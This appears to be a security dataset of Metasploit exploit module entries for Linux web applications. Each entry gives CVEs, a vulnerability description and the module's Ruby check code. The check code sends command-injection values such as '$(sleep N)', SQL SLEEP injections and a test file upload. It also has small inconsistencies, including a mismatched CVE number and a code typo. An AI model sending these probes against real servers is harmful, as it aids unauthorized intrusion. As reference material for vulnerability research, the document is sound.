deardaniel/secdata-raw huggingface dataset:
Metasploit Module: GoAhead Web Server LD_PRELOAD Arbitrary Module Load
Type: exploit
Path: modules/exploits/linux/http/goahead_ldpreload.rb
Platform: linux
Disclosure date: 2017-12-18
References: CVE-2017-17562, URL-https://www.elttam.com.au/blog/goahead/
Targets: Automatic (Reverse Shell), Automatic (Bind Shell), Automatic (Command), Linux x86, Linux x86_64, Linux ARM (LE), Linux ARM64, Linux MIPS, Linux MIPSLE, Linux MIPS64

Description:
This module triggers an arbitrary shared library load vulnerability
          in GoAhead web server versions between 2.5 and that have the CGI module
          enabled.

Check method (fingerprinting):
# Find a valid CGI target
    target_uri = find_target_cgi
    unless target_uri
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  # Upload and LD_PRELOAD execute the shared library payload
Metasploit Module: Control Web Panel /admin/index.php Unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb
Platform: linux
Disclosure date: 2025-12-16
References: CVE-2025-67888, URL-https://karmainsecurity.com/KIS-2025-09, URL-https://www.cve.org/CVERecord?id=CVE-2025-67888, URL-https://control-webpanel.com
Targets: Unix Command, Linux Dropper

Description:
Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
          unauthenticated OS command injection. User input passed via the
          "key" GET parameter to /admin/index.php (when the "api" parameter is set)
          is not properly sanitized before being used to execute OS commands.
          This can be exploited by unauthenticated attackers to inject and execute
          arbitrary OS commands with the privileges of the root user on the web server.

          Successful exploitation usually requires "Softaculous" and/or "SitePad"
          to be installed through the Scripts Manager.

Check method (fingerprinting):
sleep_time = rand(5..10)

    print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...")

    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('/admin/index.php'),
        'vars_get' => {
          'api' => '1',
          'key' => "$(sleep #{sleep_time})"
        }
      )
    end

    vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds")

    return CheckCode::Unknown('No response from server.') unless res
    return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time

    CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).")
  end
Metasploit Module: Apache Airflow 1.10.10 - Example DAG Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/apache_airflow_dag_rce.rb
Platform: linux
Disclosure date: 2020-07-14
References: EDB-49927, CVE-2020-11978, CVE-2020-13927, URL-https://github.com/pberba/CVE-2020-11978/, URL-https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx, URL-https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d

Description:
This module exploits an unauthenticated command injection vulnerability
          by combining two critical vulnerabilities in Apache Airflow 1.10.10.
          The first, CVE-2020-11978, is an authenticated command injection vulnerability
          found in one of Airflow's example DAGs, "example_trigger_target_dag", which
          allows any authenticated user to run arbitrary OS commands as the user
          running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default
          setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's
          Experimental REST API to perform malicious actions such as creating the
          vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation
          and command injection, leading to unauthenticated remote code execution.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')
    vprint_status("Checking target web server for a response at: #{full_uri(uri)}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.code == 200 &&
           res.body.downcase.include?('admin') &&
           res.body.downcase.include?('_csrf_token') &&
           res.body.downcase.include?('sign in to airflow')
      return CheckCode::Unknown('Target is not running Apache Airflow.')
    end

    vprint_good('Target is running Apache Airflow.')

    vprint_status('Checking Apache Airflow version...')
    version_number = res.body.to_s.scan(
      %r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}
    ).flatten.first

    unless version_number
      return CheckCode::Detected('Apache Airflow version cannot be determined.')
    end

    unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')
      return CheckCode::Safe("Version #{version_number} is not vulnerable")
    end

    vprint_status(
      "Target is running Apache Airflow Version #{version_number}. " \
      'Performing additional checks for exploitability...'
    )

    check_api
    check_task
    check_unpaused

    return CheckCode::Appears("Version #{version_number} appears to be vulnerable")
  end
Metasploit Module: LinuxKI Toolset 6.01 Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/linuxki_rce.rb
Platform: php
Disclosure date: 2020-05-17
References: EDB-48483, CVE-2020-7209, URL-https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
Targets: Automatic (PHP In-Memory), Automatic (PHP Dropper), Automatic (Unix In-Memory), Automatic (Linux Dropper)

Description:
This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
          The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.

Check method (fingerprinting):
findstr = rand_str
    res = execute_command("echo '#{findstr}'")
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if (res.code == 404) || (res.code == 403)
    if (res.code == 200) && res.body.include?(findstr)
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
Metasploit Module: openDCIM install.php SQL Injection to RCE
Type: exploit
Path: modules/exploits/linux/http/opendcim_install_sqli_rce.rb
Platform: %w[unix linux
Disclosure date: 2026-02-28
References: CVE-2026-28515, CVE-2026-28516, CVE-2026-28517, URL-https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php, URL-https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter, URL-https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter, URL-https://github.com/Chocapikk/opendcim-exploit
Targets: Unix/Linux Command Shell, Linux Dropper

Description:
This module exploits a SQL injection vulnerability in openDCIM's install.php
          endpoint (CVE-2026-28515) to achieve remote code execution. The install.php
          script remains accessible after installation and processes LDAP configuration
          parameters via UpdateParameter() without authentication or input sanitization,
          allowing stacked SQL queries.

          The exploit chain works by injecting SQL through the LDAP configuration form
          to overwrite the Graphviz dot binary path in fac_Config, then triggering
          report_network_map.php which calls exec() with the poisoned value. A backup
          of the original configuration is created before exploitation and restored
          after payload delivery.

          Tested against openDCIM 23.04 through 25.01 on Ubuntu with Apache.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => install_uri
    })

    return CheckCode::Unknown('Could not connect to the target.') unless res
    return CheckCode::Safe('install.php returned unexpected status code.') unless [200, 302].include?(res.code)

    body = res.body.to_s
    return CheckCode::Safe('install.php does not appear to be openDCIM.') if res.code == 200 && !body.include?('ldapaction') && !body.include?('openDCIM') && !body.include?('Upgrade')

    print_status('install.php is accessible, testing time-based SQL injection')
    3.times do |i|
      sleep_time = rand(1..3)
      print_status("Test #{i + 1}/3: SLEEP(#{sleep_time})")
      _, elapsed_time = Rex::Stopwatch.elapsed_time do
        send_request_cgi({
          'method' => 'POST',
          'uri' => install_uri,
          'vars_post' => { 'ldapaction' => 'Set', LDAP_FIELDS.sample => "#{SQLI_WRAP[0]}SELECT SLEEP(#{sleep_time});#{SQLI_WRAP[1]}" }
        })
      end
      print_status("Elapsed time: #{elapsed_time.round(1)} seconds.")
      return CheckCode::Safe("SQL injection test #{i + 1} did not trigger a delay.") unless elapsed_time >= sleep_time
    end

    CheckCode::Vulnerable('Successfully tested SQL injection (3/3 delay checks passed).')
  end
Metasploit Module: Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection
Type: exploit
Path: modules/exploits/linux/http/nagios_xi_configwizards_authenticated_rce.rb
Platform: linux
Disclosure date: 2021-02-13
References: CVE-2021-25296, CVE-2021-25297, CVE-2021-25298, URL-https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
Targets: Linux (x86), Linux (x64), CMD

Description:
This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are
          OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm
          configuration wizards that allow an authenticated user to perform remote code
          execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.

          Valid credentials for a Nagios XI user are required. This module has
          been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.

Check method (fingerprinting):
# Authenticate to ensure we can access the NagiosXI version
    auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')
      return CheckCode::Appears("Version #{@version} appears to be vulnerable")
    end

    return CheckCode::Safe("Version #{@version} is not vulnerable")
  end
Metasploit Module: Zenoss 3 showDaemonXMLConfig Command Execution
Type: exploit
Path: modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
Platform: unix
Disclosure date: 2012-07-30
References: CVE-2012-10048, URL-http://web.archive.org/web/[PII_REDACTED]0334/https://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/, OSVDB-84408

Description:
This module exploits a command execution vulnerability in Zenoss 3.x
          which could be abused to allow authenticated users to execute arbitrary
          code under the context of the 'zenoss' user. The show_daemon_xml_configs()
          function in the 'ZenossInfo.py' script calls Popen() with user
          controlled data from the 'daemon' parameter.

Check method (fingerprinting):
# retrieve software version from login page
    begin
      res = send_request_raw({
        'method' => "GET",
        'uri' => "/zport/acl_users/cookieAuthHelper/login_form"
      })
      return Exploit::CheckCode::Unknown('No response received from the target') unless res
      return Exploit::CheckCode::Appears('The target appears to be vulnerable') if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
      return Exploit::CheckCode::Detected('The target service was detected') if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/

      return Exploit::CheckCode::Safe('The target is not vulnerable')
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
  end
Metasploit Module: Pretalx Limited File Write to Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/pretalx_rce_cve_2023_28458.rb
Platform: unix
Disclosure date: 2023-03-07
References: URL-https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/, CVE-2023-28458
Targets: Linux Target

Description:
This module exploits CVE-2023-28458, a limited file write in Pretalx, up to version 2.3.1. The module will use the vulnerability to write a malicious site-specific configuration hook forPython. Once hook is written, payload will be executed every time Pretalx user runs any Python code. Pretalx needs to run in debug mode to exploit this.

Check method (fingerprinting):
return Exploit::CheckCode::Unknown('Login failed, please check credentials') unless login(datastore['EMAIL'], datastore['PASSWORD'])

    @logged_in = true

    version_element = get_version

    return Exploit::CheckCode::Safe('Debug mode is not enabled') unless debug?

    return Exploit::CheckCode::Appears("Detected vulnerable version #{version_element} and debug mode is enabled") if version_element <= Rex::Version.new('2.3.1')

    return Exploit::CheckCode::Safe("Detected version #{version_element} is not vulnerable")
  rescue UnexpectedResponseError
    return Exploit::CheckCode::Unknown('Received unexpected response, check your options')
  rescue VersionCheckError
    return Exploit::CheckCode::Detected('Pretalx detected, failed to verify version')
  rescue CsrfError
    return Exploit::CheckCode::Unknown('Failed to get CSRF token')
  rescue SessionCookieError
    return Exploit::CheckCode::Detected('Pretalx detected, failed to get session cookie - check your credentials')
  rescue DebugError
    return Exploit::CheckCode::Detected('Failed to check if debug mode is enabled')
  end
Metasploit Module: Chamilo v1.11.24 Unrestricted File Upload PHP Webshell
Type: exploit
Path: modules/exploits/linux/http/chamilo_bigupload_webshell.rb
Platform: php
Disclosure date: 2023-11-28
References: URL-https://starlabs.sg/advisories/23/23-4220/, URL-https://github.com/H4cking4All/CVE-2023-4220/tree/main, CVE-2023-4220
Targets: PHP

Description:
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
          a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
          `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
          `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
          by default.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/')
    )

    return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404

    print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.')
    test_file_content = rand_text_alphanumeric(8)
    test_file_name = rand_text_alphanumeric(8)

    begin
      upload_file(test_file_content, test_file_name)
    rescue UploadFileError => e
      return CheckCode::Safe("#{e.class}:#{e}")
    end

    CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).')
  end
Metasploit Module: Kemp LoadMaster Unauthenticated Command Injection
Type: exploit
Path: modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb
Platform: unix
Disclosure date: 2024-03-19
References: CVE-2024-1212, URL-https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/, URL-https://kemptechnologies.com/kemp-load-balancers

Description:
This module exploits an unauthenticated command injection vulnerability in
          Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.
          The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and
          7.2.48.10 (LTS).

Check method (fingerprinting):
print_status("Checking if #{peer} is vulnerable...")

    uri = normalize_uri(target_uri.path, 'access', 'set')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' => {
        'param' => 'enableapi',
        'value' => '1'
      },
      'authorization' => basic_auth("'", Rex::Text.rand_text_alpha(rand(8..15))),
      'verify' => false
    })

    # No response from server
    unless res
      return CheckCode::Unknown('Could not determine the target status')
    end

    # Check for specific error pattern in headers or body to confirm vulnerability
    if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')
      return CheckCode::Vulnerable('The target is vulnerable')
    else
      return CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Selenium Grid/Selenoid Unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/selenium_greed_rce.rb
Platform: %w[python unix linux
Disclosure date: 2021-05-28
References: URL-https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps, URL-https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/, URL-https://github.com/SeleniumHQ/selenium/issues/9526, URL-https://github.com/JonStratton/selenium-node-takeover-kit/tree/master, EDB-49915
Targets: Python In-Memory, Unix/Linux Command Shell

Description:
Selenium Grid and Selenoid expose a WebDriver API that allows creating
          browser sessions with arbitrary capabilities. When deployed without
          authentication (the default for both), an attacker can achieve remote
          code execution through two browser-specific techniques:

          For Chrome, the goog:chromeOptions binary field can be set to an
          arbitrary executable such as /usr/bin/python3, since ChromeDriver does
          not validate it. This was fixed in Selenium Grid 4.11.0 via the
          stereotype capabilities merge. All Selenoid versions remain vulnerable.

          For Firefox, a custom profile containing a malicious MIME handler that
          maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
          Navigating to a data: URI with that content type triggers shell
          execution. This technique has never been patched and works on all
          Selenium Grid versions including the latest release.

          The module auto-detects available browsers and selects the best attack
          vector. Firefox is preferred as it works on all Grid versions.

          The default Docker images run as seluser/selenium with passwordless
          sudo, allowing trivial privilege escalation to root.

Check method (fingerprinting):
@backend = detect_backend
    return CheckCode::Unknown('No response from target') unless @backend

    @browsers = enumerate_browsers
    return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?

    check_grid
  end
Metasploit Module: Invoice Ninja unauthenticated PHP Deserialization Vulnerability
Type: exploit
Path: modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb
Platform: php
Disclosure date: 2024-12-13
References: CVE-2024-55555, URL-https://attackerkb.com/topics/QtMS7cIExH/cve-2024-55555, URL-https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known
Targets: PHP, Unix/Linux Command

Description:
Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
          A Remote Code Execution vulnerability in Invoice Ninja (>= 5.8.22 <= 5.10.10) allows remote unauthenticated
          attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
          ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY.
          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
          potentially resulting in complete system compromise, data exfiltration, or unauthorized access
          to sensitive information.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'login')
    })
    return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200

    # check if target is running the Invoice Ninja platform
    # search for the Invoice Ninja X-APP-VERSION within the returned headers from the login page
    version_number = res.headers['X-APP-VERSION']
    return CheckCode::Safe('No Invoice Ninja platform found.') if version_number.nil?

    if Rex::Version.new(version_number).between?(Rex::Version.new('5.8.22'), Rex::Version.new('5.10.10'))
      return CheckCode::Appears("Invoice Ninja #{version_number}")
    end

    checkCode::Safe("Invoice Ninja #{version_number}")
  end
Metasploit Module: Advantech Switch Bash Environment Variable Code Injection (Shellshock)
Type: exploit
Path: modules/exploits/linux/http/advantech_switch_bash_env_exec.rb
Platform: unix
Disclosure date: 2015-12-01
Authors: hdm
References: CVE-2014-6271, OSVDB-112004, EDB-34765, URL-https://www.rapid7.com/blog/post/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities, URL-https://access.redhat.com/articles/1200223, URL-https://seclists.org/oss-sec/2014/q3/649

Description:
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
          handles external environment variables. This module targets the 'ping.sh' CGI
          script, accessible through the Boa web server on Advantech switches. This module
          was tested against firmware version 1322_D1.98.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/cgi-bin/ping.sh'
    )
    if !res
      vprint_error("No response from host")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.headers['Server'] =~ /Boa\/(.*)/
      vprint_status("Found Boa version #{$1}")
    else
      print_status("Target is not a Boa web server")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    if res.body.to_s.index('127.0.0.1 ping statistics')
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      vprint_error("Target does not appear to be an Advantech switch")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  #
  # Exploit
  #